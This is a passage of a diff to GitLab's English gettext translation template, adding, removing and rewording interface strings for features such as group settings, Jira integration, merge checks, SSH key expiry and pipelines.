+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16491,6 +16796,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16668,7 +16979,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16683,7 +16997,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16782,6 +17099,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17045,7 +17365,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17084,6 +17404,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -17858,7 +18181,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18023,9 +18349,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18089,6 +18412,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18303,12 +18629,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18426,6 +18758,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18441,6 +18776,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18471,7 +18812,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18528,7 +18872,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18666,22 +19010,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18696,9 +19037,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18717,9 +19055,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -18906,6 +19241,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -18981,6 +19319,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19038,16 +19379,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19056,9 +19394,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19152,6 +19487,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19161,6 +19499,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19257,9 +19598,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19284,9 +19631,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19395,18 +19739,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -19425,18 +19760,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -19446,6 +19775,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -19455,12 +19787,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -19491,9 +19817,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -19791,6 +20114,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20134,7 +20460,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -20239,6 +20565,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -20284,6 +20613,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,13 +20775,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -22866,6 +23216,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23061,6 +23414,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -23175,6 +23540,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -23880,6 +24263,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -24865,6 +25257,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,10 +25815,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -25834,7 +26229,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,7 +26511,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26137,13 +26532,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27400,6 +27819,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -27943,6 +28374,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28157,9 +28597,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28326,6 +28763,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28362,6 +28805,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28503,6 +28952,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
